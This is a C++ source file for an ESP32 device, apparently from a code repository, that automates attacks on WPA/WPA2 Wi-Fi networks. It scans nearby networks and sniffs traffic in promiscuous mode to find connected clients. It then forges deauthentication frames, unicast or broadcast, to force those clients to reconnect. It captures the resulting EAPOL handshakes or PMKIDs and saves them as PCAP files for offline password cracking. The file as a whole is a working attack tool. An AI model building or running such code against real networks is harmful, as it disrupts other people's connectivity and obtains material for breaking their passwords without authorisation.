- Reduce time spent in capture spinlock by snapshotting slot BSSIDs and only locking for shared-state updates - Add PMKID KDE detection to save on EAPOL M1 when present - Sweep channels with remaining WPA targets instead of camping one channel Made-with: Cursor
619 lines
20 KiB
C++
619 lines
20 KiB
C++
#include "HandshakeCapture.h"
|
||
#include "SD_Card.h"
|
||
#include "LVGL_Driver.h"
|
||
#include <algorithm>
|
||
#include <cstring>
|
||
|
||
// ─── Internal prototypes ───
|
||
|
||
static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
||
static void pcapInitSlot(CaptureSlot* slot);
|
||
static bool pcapAppendSlot(CaptureSlot* slot, const uint8_t* frame, size_t len);
|
||
static void sendDeauthToClient(const uint8_t* bssid, const uint8_t* client_mac);
|
||
static void sendDeauthBurstAll();
|
||
static bool addClientToSlot(CaptureSlot* slot, const uint8_t* mac);
|
||
static bool eapolHasPmkid(const uint8_t* payload, uint16_t len, uint16_t mac_hdr_len);
|
||
static int getNextChannelSweep();
|
||
|
||
// ─── Shared state ───
|
||
|
||
WifiNetwork networks[MAX_NETWORKS];
|
||
CaptureSlot slots[MAX_SLOTS];
|
||
volatile int pending_save_slots[MAX_SLOTS] = {-1, -1, -1};
|
||
bool is_capturing = false;
|
||
int current_channel = 0;
|
||
volatile int latest_eapol_count = 0;
|
||
CapturePhase capturePhase = PHASE_OBSERVING;
|
||
|
||
// ─── Phase timing ───
|
||
|
||
#define OBSERVE_DURATION_MS 5000
|
||
#define CAPTURE_TIMEOUT_MS 10000
|
||
#define DEAUTH_BURST_COUNT 5
|
||
#define DEAUTH_BURST_DELAY 2 // ms between frames in a burst
|
||
#define MAX_PHASE_RETRIES 3 // 3 full cycles before moving to next channel
|
||
|
||
static unsigned long phase_timer = 0;
|
||
static uint8_t phase_retries = 0;
|
||
static int last_channel = 0;
|
||
|
||
// Spinlock for data shared between promiscuous callback (WiFi task)
|
||
// and main loop. Critical sections are kept very short.
|
||
static portMUX_TYPE capture_mux = portMUX_INITIALIZER_UNLOCKED;
|
||
|
||
// ─── Captured BSSID cache (persists across channel hops) ───
|
||
|
||
#define CAPTURED_BSSID_CACHE_SIZE 32
|
||
static uint8_t captured_bssids[CAPTURED_BSSID_CACHE_SIZE][6];
|
||
static int captured_bssid_count = 0;
|
||
|
||
bool wasBssidCaptured(const uint8_t* bssid) {
|
||
for (int i = 0; i < captured_bssid_count; i++) {
|
||
if (memcmp(captured_bssids[i], bssid, 6) == 0) return true;
|
||
}
|
||
return false;
|
||
}
|
||
|
||
static void markBssidCaptured(const uint8_t* bssid) {
|
||
if (wasBssidCaptured(bssid)) return;
|
||
if (captured_bssid_count < CAPTURED_BSSID_CACHE_SIZE) {
|
||
memcpy(captured_bssids[captured_bssid_count], bssid, 6);
|
||
captured_bssid_count++;
|
||
} else {
|
||
memmove(captured_bssids[0], captured_bssids[1], (CAPTURED_BSSID_CACHE_SIZE - 1) * 6);
|
||
memcpy(captured_bssids[CAPTURED_BSSID_CACHE_SIZE - 1], bssid, 6);
|
||
}
|
||
}
|
||
|
||
// ─── Init ───
|
||
|
||
void handshakeCaptureInit() {
|
||
WiFi.mode(WIFI_STA);
|
||
WiFi.disconnect(false, true);
|
||
delay(100);
|
||
WiFi.mode(WIFI_AP_STA);
|
||
esp_wifi_set_promiscuous(true);
|
||
esp_wifi_set_promiscuous_rx_cb(promiscuousRxCallback);
|
||
for (int i = 0; i < MAX_SLOTS; i++) {
|
||
pending_save_slots[i] = -1;
|
||
}
|
||
}
|
||
|
||
// ─── Pending save processing (main loop context — safe for SD I/O) ───
|
||
|
||
void handshakeCaptureProcessPending() {
|
||
for (int i = 0; i < MAX_SLOTS; i++) {
|
||
if (pending_save_slots[i] < 0) continue;
|
||
pending_save_slots[i] = -1;
|
||
|
||
CaptureSlot* s = &slots[i];
|
||
if (!s->active || s->pcap_size == 0) continue;
|
||
|
||
String filename = "/handshake_";
|
||
filename += s->ssid;
|
||
filename += "_";
|
||
filename += String(millis() / 1000);
|
||
filename += ".pcap";
|
||
filename.replace(" ", "_");
|
||
|
||
markBssidCaptured(s->bssid);
|
||
if (s->network_index >= 0 && s->network_index < MAX_NETWORKS) {
|
||
networks[s->network_index].handshake_captured = true;
|
||
Ui_SetNetworkColor(s->network_index, lv_palette_main(LV_PALETTE_RED));
|
||
}
|
||
|
||
File file = SD.open(filename.c_str(), FILE_WRITE);
|
||
if (file) {
|
||
if (file.write(s->pcap_buffer, s->pcap_size) == s->pcap_size) {
|
||
Serial.printf("Saved %s (%d bytes)\n", filename.c_str(), (int)s->pcap_size);
|
||
Ui_SetWifiStatus("Saved PCAP!");
|
||
} else {
|
||
Serial.println("SD Write Failed!");
|
||
Ui_SetWifiStatus("SD Write Err!");
|
||
}
|
||
file.close();
|
||
} else {
|
||
Serial.println("SD Open Failed!");
|
||
Ui_SetWifiStatus("SD Open Err!");
|
||
}
|
||
|
||
s->pcap_size = 0;
|
||
s->active = false;
|
||
}
|
||
refillSlots();
|
||
}
|
||
|
||
// ─── Slot management ───
|
||
|
||
static bool networkInAnySlot(int ni) {
|
||
for (int i = 0; i < MAX_SLOTS; i++) {
|
||
if (slots[i].active && slots[i].network_index == ni) return true;
|
||
}
|
||
return false;
|
||
}
|
||
|
||
void refillSlots() {
|
||
if (!is_capturing || current_channel == 0) return;
|
||
for (int si = 0; si < MAX_SLOTS; si++) {
|
||
if (slots[si].active) continue;
|
||
for (int ni = 0; ni < MAX_NETWORKS; ni++) {
|
||
if (networks[ni].ssid.isEmpty()) break;
|
||
if (networks[ni].handshake_captured || !isCaptureable(ni)) continue;
|
||
if (networks[ni].ch != current_channel) continue;
|
||
if (networkInAnySlot(ni)) continue;
|
||
|
||
CaptureSlot* s = &slots[si];
|
||
memcpy(s->bssid, networks[ni].bssid, 6);
|
||
strncpy(s->ssid, networks[ni].ssid.c_str(), 32);
|
||
s->ssid[32] = '\0';
|
||
s->network_index = ni;
|
||
s->beacon_captured = false;
|
||
s->eapol_count = 0;
|
||
s->client_count = 0;
|
||
s->active = true;
|
||
pcapInitSlot(s);
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
|
||
// ─── Network helpers ───
|
||
|
||
bool compareRSSI(const WifiNetwork& a, const WifiNetwork& b) {
|
||
return a.rssi > b.rssi;
|
||
}
|
||
|
||
bool isCaptureable(int index) {
|
||
if (index < 0 || index >= MAX_NETWORKS || networks[index].ssid.isEmpty()) return false;
|
||
const String& enc = networks[index].encryption;
|
||
return enc == "WPA" || enc == "WPA2" || enc == "WPA/WPA2";
|
||
}
|
||
|
||
int getCaptureableCount() {
|
||
int n = 0;
|
||
for (int i = 0; i < MAX_NETWORKS; i++) {
|
||
if (networks[i].ssid.isEmpty()) break;
|
||
if (!networks[i].handshake_captured && isCaptureable(i)) n++;
|
||
}
|
||
return n;
|
||
}
|
||
|
||
int getBestChannel() {
|
||
int best_ch = 0;
|
||
int best_count = 0;
|
||
int ch_counts[15] = {0};
|
||
|
||
for (int i = 0; i < MAX_NETWORKS; i++) {
|
||
if (networks[i].ssid.isEmpty()) break;
|
||
if (networks[i].handshake_captured || !isCaptureable(i)) continue;
|
||
int ch = networks[i].ch;
|
||
if (ch >= 1 && ch <= 14) {
|
||
ch_counts[ch - 1]++;
|
||
if (ch_counts[ch - 1] > best_count) {
|
||
best_count = ch_counts[ch - 1];
|
||
best_ch = ch;
|
||
}
|
||
}
|
||
}
|
||
return best_ch;
|
||
}
|
||
|
||
static int getNextChannelSweep() {
|
||
int ch_counts[15] = {0};
|
||
for (int i = 0; i < MAX_NETWORKS; i++) {
|
||
if (networks[i].ssid.isEmpty()) break;
|
||
if (networks[i].handshake_captured || !isCaptureable(i)) continue;
|
||
int ch = networks[i].ch;
|
||
if (ch >= 1 && ch <= 14) ch_counts[ch - 1]++;
|
||
}
|
||
|
||
// Simple circular sweep across channels that still have targets.
|
||
int start = last_channel;
|
||
for (int step = 0; step < 14; step++) {
|
||
int ch = ((start + step) % 14) + 1;
|
||
if (ch_counts[ch - 1] > 0) return ch;
|
||
}
|
||
return 0;
|
||
}
|
||
|
||
void scanNetworksSortedByRSSI() {
|
||
memset(networks, 0, sizeof(networks));
|
||
int n = WiFi.scanNetworks(false, false);
|
||
if (n == 0) return;
|
||
|
||
int stored = 0;
|
||
for (int i = 0; i < n && stored < MAX_NETWORKS; i++) {
|
||
String ssid = WiFi.SSID(i);
|
||
if (ssid.isEmpty()) continue;
|
||
|
||
networks[stored].ssid = ssid;
|
||
memcpy(networks[stored].bssid, WiFi.BSSID(i), 6);
|
||
networks[stored].ch = WiFi.channel(i);
|
||
networks[stored].rssi = WiFi.RSSI(i);
|
||
wifi_auth_mode_t enc = WiFi.encryptionType(i);
|
||
if (enc == WIFI_AUTH_OPEN) networks[stored].encryption = "Open";
|
||
else if (enc == WIFI_AUTH_WEP) networks[stored].encryption = "WEP";
|
||
else if (enc == WIFI_AUTH_WPA_PSK) networks[stored].encryption = "WPA";
|
||
else if (enc == WIFI_AUTH_WPA2_PSK) networks[stored].encryption = "WPA2";
|
||
else if (enc == WIFI_AUTH_WPA_WPA2_PSK) networks[stored].encryption = "WPA/WPA2";
|
||
else if (enc == WIFI_AUTH_WPA2_ENTERPRISE) networks[stored].encryption = "WPA2 Enterprise";
|
||
else networks[stored].encryption = "Unknown";
|
||
networks[stored].handshake_captured = wasBssidCaptured(networks[stored].bssid);
|
||
|
||
stored++;
|
||
}
|
||
std::sort(networks, networks + stored, compareRSSI);
|
||
}
|
||
|
||
// ─── PCAP buffer (fixed-size, no dynamic alloc) ───
|
||
|
||
static void pcapInitSlot(CaptureSlot* slot) {
|
||
slot->pcap_size = sizeof(pcap_global_header_t);
|
||
pcap_global_header_t header = {
|
||
.magic_number = 0xa1b2c3d4,
|
||
.version_major = 2,
|
||
.version_minor = 4,
|
||
.thiszone = 0,
|
||
.sigfigs = 0,
|
||
.snaplen = 65535,
|
||
.network = 105
|
||
};
|
||
memcpy(slot->pcap_buffer, &header, sizeof(header));
|
||
}
|
||
|
||
// Must be called inside capture_mux critical section.
|
||
static bool pcapAppendSlot(CaptureSlot* slot, const uint8_t* frame, size_t len) {
|
||
if (!frame || len == 0) return false;
|
||
size_t needed = sizeof(pcap_record_header_t) + len;
|
||
if (slot->pcap_size + needed > PCAP_MAX_SIZE) return false;
|
||
|
||
uint32_t ms = millis();
|
||
pcap_record_header_t rec = {
|
||
.ts_sec = ms / 1000,
|
||
.ts_usec = (ms % 1000) * 1000,
|
||
.incl_len = (uint32_t)len,
|
||
.orig_len = (uint32_t)len
|
||
};
|
||
|
||
memcpy(slot->pcap_buffer + slot->pcap_size, &rec, sizeof(rec));
|
||
memcpy(slot->pcap_buffer + slot->pcap_size + sizeof(rec), frame, len);
|
||
slot->pcap_size += needed;
|
||
return true;
|
||
}
|
||
|
||
// ─── Client tracking (called from callback under spinlock) ───
|
||
|
||
static bool addClientToSlot(CaptureSlot* slot, const uint8_t* mac) {
|
||
if (mac[0] & 0x01) return false; // multicast/broadcast
|
||
if (memcmp(mac, slot->bssid, 6) == 0) return false; // the AP itself
|
||
|
||
for (uint8_t i = 0; i < slot->client_count; i++) {
|
||
if (memcmp(slot->clients[i].mac, mac, 6) == 0) {
|
||
slot->clients[i].last_seen = millis();
|
||
return false;
|
||
}
|
||
}
|
||
|
||
if (slot->client_count >= MAX_CLIENTS_PER_SLOT) return false;
|
||
|
||
memcpy(slot->clients[slot->client_count].mac, mac, 6);
|
||
slot->clients[slot->client_count].last_seen = millis();
|
||
slot->client_count++;
|
||
return true;
|
||
}
|
||
|
||
// ─── Deauth: unicast burst to each discovered client ───
|
||
|
||
static void sendDeauthToClient(const uint8_t* bssid, const uint8_t* client_mac) {
|
||
uint8_t deauth[26] = {
|
||
0xC0, 0x00, // Frame Control: Deauth
|
||
0x00, 0x00, // Duration
|
||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // DA: client
|
||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // SA: AP BSSID
|
||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BSSID: AP
|
||
0x00, 0x00, // Seq Ctrl
|
||
0x07, 0x00 // Reason: Class 3 from non-associated STA
|
||
};
|
||
|
||
memcpy(&deauth[4], client_mac, 6);
|
||
memcpy(&deauth[10], bssid, 6);
|
||
memcpy(&deauth[16], bssid, 6);
|
||
|
||
for (int i = 0; i < DEAUTH_BURST_COUNT; i++) {
|
||
esp_wifi_80211_tx(WIFI_IF_STA, deauth, sizeof(deauth), false);
|
||
if (i < DEAUTH_BURST_COUNT - 1) delay(DEAUTH_BURST_DELAY);
|
||
}
|
||
}
|
||
|
||
static void sendDeauthBurstAll() {
|
||
for (int i = 0; i < MAX_SLOTS; i++) {
|
||
CaptureSlot* s = &slots[i];
|
||
if (!s->active) continue;
|
||
|
||
if (s->client_count > 0) {
|
||
Serial.printf("[%s] deauth -> %d client(s)\n", s->ssid, s->client_count);
|
||
for (uint8_t c = 0; c < s->client_count; c++) {
|
||
sendDeauthToClient(s->bssid, s->clients[c].mac);
|
||
}
|
||
} else {
|
||
Serial.printf("[%s] deauth -> broadcast (no clients mapped)\n", s->ssid);
|
||
uint8_t bcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
|
||
sendDeauthToClient(s->bssid, bcast);
|
||
}
|
||
}
|
||
}
|
||
|
||
// ─── Capture lifecycle ───
|
||
|
||
void startMultiCapture() {
|
||
if (is_capturing) return;
|
||
|
||
current_channel = getNextChannelSweep();
|
||
if (current_channel == 0) return;
|
||
last_channel = current_channel;
|
||
|
||
memset(slots, 0, sizeof(slots));
|
||
int filled = 0;
|
||
for (int i = 0; i < MAX_NETWORKS && filled < MAX_SLOTS; i++) {
|
||
if (networks[i].ssid.isEmpty()) break;
|
||
if (networks[i].handshake_captured || !isCaptureable(i)) continue;
|
||
if (networks[i].ch != current_channel) continue;
|
||
|
||
CaptureSlot* s = &slots[filled];
|
||
memcpy(s->bssid, networks[i].bssid, 6);
|
||
strncpy(s->ssid, networks[i].ssid.c_str(), 32);
|
||
s->ssid[32] = '\0';
|
||
s->network_index = i;
|
||
s->beacon_captured = false;
|
||
s->eapol_count = 0;
|
||
s->client_count = 0;
|
||
s->active = true;
|
||
pcapInitSlot(s);
|
||
filled++;
|
||
}
|
||
|
||
if (filled == 0) return;
|
||
|
||
is_capturing = true;
|
||
capturePhase = PHASE_OBSERVING;
|
||
phase_timer = millis();
|
||
phase_retries = 0;
|
||
esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE);
|
||
|
||
Serial.printf("Phase 2: observing ch %d (%d target(s))\n", current_channel, filled);
|
||
}
|
||
|
||
void stopCapture() {
|
||
if (!is_capturing) return;
|
||
is_capturing = false;
|
||
for (int i = 0; i < MAX_SLOTS; i++) {
|
||
if (slots[i].active) {
|
||
if (slots[i].eapol_count >= 1) {
|
||
pending_save_slots[i] = i;
|
||
} else {
|
||
slots[i].pcap_size = 0;
|
||
slots[i].active = false;
|
||
}
|
||
}
|
||
}
|
||
handshakeCaptureProcessPending();
|
||
}
|
||
|
||
// ─── State machine tick (called from main loop) ───
|
||
|
||
void handshakeCaptureLoop() {
|
||
if (!is_capturing) return;
|
||
|
||
unsigned long now = millis();
|
||
|
||
// Phase 2 → Phase 3 (transient burst) → Phase 4
|
||
if (capturePhase == PHASE_OBSERVING) {
|
||
if (now - phase_timer >= OBSERVE_DURATION_MS) {
|
||
int total = 0;
|
||
for (int i = 0; i < MAX_SLOTS; i++) {
|
||
if (slots[i].active) {
|
||
Serial.printf(" [%s] %d client(s)\n", slots[i].ssid, slots[i].client_count);
|
||
total += slots[i].client_count;
|
||
}
|
||
}
|
||
Serial.printf("Observation done: %d client(s). Sending deauth burst.\n", total);
|
||
|
||
sendDeauthBurstAll();
|
||
|
||
capturePhase = PHASE_CAPTURING;
|
||
phase_timer = now;
|
||
phase_retries++;
|
||
Serial.println("Phase 4: capturing handshakes...");
|
||
}
|
||
}
|
||
|
||
// Phase 4 timeout → re-observe or let .ino CHANNEL_TIMEOUT handle final stop
|
||
if (capturePhase == PHASE_CAPTURING) {
|
||
if (now - phase_timer >= CAPTURE_TIMEOUT_MS) {
|
||
if (phase_retries < MAX_PHASE_RETRIES) {
|
||
Serial.printf("Capture timeout. Re-observing (cycle %d/%d)...\n",
|
||
phase_retries + 1, MAX_PHASE_RETRIES);
|
||
portENTER_CRITICAL(&capture_mux);
|
||
for (int i = 0; i < MAX_SLOTS; i++) {
|
||
if (slots[i].active) slots[i].client_count = 0;
|
||
}
|
||
portEXIT_CRITICAL(&capture_mux);
|
||
|
||
capturePhase = PHASE_OBSERVING;
|
||
phase_timer = now;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
// ─── Promiscuous RX callback ───
|
||
// Runs in WiFi task context (high priority). Must be fast.
|
||
// No Serial, no malloc/realloc, no file I/O.
|
||
|
||
static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
|
||
(void)type;
|
||
if (!is_capturing) return;
|
||
|
||
wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf;
|
||
const uint8_t* payload = pkt->payload;
|
||
uint16_t len = pkt->rx_ctrl.sig_len;
|
||
if (len < 24) return;
|
||
|
||
uint8_t frame_type = payload[0];
|
||
bool is_beacon = (frame_type == 0x80);
|
||
bool is_qos = (frame_type == 0x88);
|
||
bool is_data = (frame_type == 0x08) || is_qos;
|
||
|
||
// Pre-compute EAPOL presence for data frames
|
||
bool is_eapol = false;
|
||
uint16_t mhl = 0;
|
||
if (is_data) {
|
||
bool to_ds = (payload[1] & 0x01) != 0;
|
||
bool from_ds = (payload[1] & 0x02) != 0;
|
||
mhl = 24;
|
||
if (to_ds && from_ds) mhl += 6; // WDS 4-addr
|
||
if (is_qos) mhl += 2; // QoS Control
|
||
|
||
// EAPOL is always unencrypted — skip protected frames
|
||
if (!(payload[1] & 0x40) && len >= mhl + 8) {
|
||
// Verify LLC/SNAP header prefix (AA AA 03) before reading ethertype
|
||
if (payload[mhl] == 0xAA &&
|
||
payload[mhl + 1] == 0xAA &&
|
||
payload[mhl + 2] == 0x03) {
|
||
is_eapol = (payload[mhl + 6] == 0x88 && payload[mhl + 7] == 0x8E);
|
||
}
|
||
}
|
||
}
|
||
|
||
// Snapshot minimal slot state quickly (avoid holding lock during memcmp-heavy logic)
|
||
uint8_t bssids[MAX_SLOTS][6];
|
||
bool slot_active[MAX_SLOTS];
|
||
bool slot_pending[MAX_SLOTS];
|
||
bool slot_beacon_captured[MAX_SLOTS];
|
||
CapturePhase phase_snapshot;
|
||
|
||
portENTER_CRITICAL(&capture_mux);
|
||
phase_snapshot = capturePhase;
|
||
for (int i = 0; i < MAX_SLOTS; i++) {
|
||
slot_active[i] = slots[i].active;
|
||
slot_pending[i] = (pending_save_slots[i] >= 0);
|
||
slot_beacon_captured[i] = slots[i].beacon_captured;
|
||
memcpy(bssids[i], slots[i].bssid, 6);
|
||
}
|
||
portEXIT_CRITICAL(&capture_mux);
|
||
|
||
// Identify which slot (if any) this frame belongs to.
|
||
int hit_slot = -1;
|
||
bool hit_match_addr2 = false;
|
||
|
||
if (is_beacon && len >= 36) {
|
||
const uint8_t* src = &payload[10];
|
||
for (int i = 0; i < MAX_SLOTS; i++) {
|
||
if (!slot_active[i] || slot_pending[i]) continue;
|
||
if (slot_beacon_captured[i]) continue;
|
||
if (memcmp(src, bssids[i], 6) == 0) {
|
||
hit_slot = i;
|
||
break;
|
||
}
|
||
}
|
||
} else if (is_data) {
|
||
const uint8_t* addr1 = &payload[4];
|
||
const uint8_t* addr2 = &payload[10];
|
||
for (int i = 0; i < MAX_SLOTS; i++) {
|
||
if (!slot_active[i] || slot_pending[i]) continue;
|
||
bool match1 = (memcmp(addr1, bssids[i], 6) == 0);
|
||
bool match2 = (memcmp(addr2, bssids[i], 6) == 0);
|
||
if (match1 || match2) {
|
||
hit_slot = i;
|
||
hit_match_addr2 = match2;
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
|
||
if (hit_slot < 0) return;
|
||
|
||
// Apply updates under lock (validate slot is still active)
|
||
portENTER_CRITICAL(&capture_mux);
|
||
CaptureSlot* s = &slots[hit_slot];
|
||
if (!s->active || pending_save_slots[hit_slot] >= 0) {
|
||
portEXIT_CRITICAL(&capture_mux);
|
||
return;
|
||
}
|
||
|
||
if (is_beacon) {
|
||
if (!s->beacon_captured && len >= 36 && memcmp(&payload[10], s->bssid, 6) == 0) {
|
||
s->beacon_captured = true;
|
||
pcapAppendSlot(s, payload, len);
|
||
}
|
||
portEXIT_CRITICAL(&capture_mux);
|
||
return;
|
||
}
|
||
|
||
// Data frame
|
||
if (phase_snapshot == PHASE_OBSERVING) {
|
||
const uint8_t* client_mac = hit_match_addr2 ? &payload[4] : &payload[10];
|
||
addClientToSlot(s, client_mac);
|
||
}
|
||
|
||
if (is_eapol) {
|
||
s->eapol_count++;
|
||
pcapAppendSlot(s, payload, len);
|
||
latest_eapol_count = s->eapol_count;
|
||
|
||
// Save immediately on PMKID presence (M1 can be sufficient)
|
||
if (s->eapol_count == 1 && eapolHasPmkid(payload, len, mhl)) {
|
||
pending_save_slots[hit_slot] = hit_slot;
|
||
} else if (s->eapol_count >= 2) {
|
||
pending_save_slots[hit_slot] = hit_slot;
|
||
}
|
||
}
|
||
|
||
portEXIT_CRITICAL(&capture_mux);
|
||
}
|
||
|
||
// Minimal PMKID KDE detection for RSN (00:0f:ac:04)
|
||
// payload points at 802.11 header start; mac_hdr_len points at LLC/SNAP start.
|
||
static bool eapolHasPmkid(const uint8_t* payload, uint16_t len, uint16_t mac_hdr_len) {
|
||
if (mac_hdr_len == 0) return false;
|
||
if (len < mac_hdr_len + 8 + 4) return false; // LLC/SNAP + EAPOL hdr
|
||
|
||
// LLC/SNAP is 8 bytes: DSAP,SSAP,CTRL,OUI(3),Ethertype(2)
|
||
const uint16_t eapol_off = mac_hdr_len + 8;
|
||
if (len < eapol_off + 4) return false;
|
||
|
||
// EAPOL header
|
||
// [0]=ver, [1]=type, [2..3]=len
|
||
uint8_t eapol_type = payload[eapol_off + 1];
|
||
if (eapol_type != 3) return false; // EAPOL-Key
|
||
|
||
uint16_t eapol_len = ((uint16_t)payload[eapol_off + 2] << 8) | payload[eapol_off + 3];
|
||
if (len < eapol_off + 4 + eapol_len) return false;
|
||
|
||
const uint16_t key_off = eapol_off + 4;
|
||
if (eapol_len < 95) return false; // too small to contain WPA2 key + KDEs
|
||
|
||
// WPA2 EAPOL-Key fixed fields are 95 bytes after key descriptor type
|
||
// Key Data Length is at offset 97–98 from start of key frame (descriptor included).
|
||
// Layout: desc(1), key_info(2), key_len(2), replay(8), nonce(32), iv(16),
|
||
// rsc(8), id(8), mic(16), key_data_len(2), key_data(variable)
|
||
const uint16_t key_data_len_off = key_off + 1 + 2 + 2 + 8 + 32 + 16 + 8 + 8 + 16;
|
||
if (key_data_len_off + 2 > key_off + eapol_len) return false;
|
||
|
||
uint16_t key_data_len = ((uint16_t)payload[key_data_len_off] << 8) | payload[key_data_len_off + 1];
|
||
const uint16_t key_data_off = key_data_len_off + 2;
|
||
if (key_data_off + key_data_len > key_off + eapol_len) return false;
|
||
if (key_data_len < 20) return false;
|
||
|
||
// Search for RSN KDE: dd 14 00 0f ac 04 <16 bytes PMKID>
|
||
for (uint16_t i = 0; i + 22 <= key_data_len; i++) {
|
||
const uint16_t p = key_data_off + i;
|
||
if (payload[p] != 0xDD) continue;
|
||
if (payload[p + 1] != 0x14) continue;
|
||
if (payload[p + 2] != 0x00 || payload[p + 3] != 0x0F || payload[p + 4] != 0xAC) continue;
|
||
if (payload[p + 5] != 0x04) continue;
|
||
return true;
|
||
}
|
||
return false;
|
||
}
|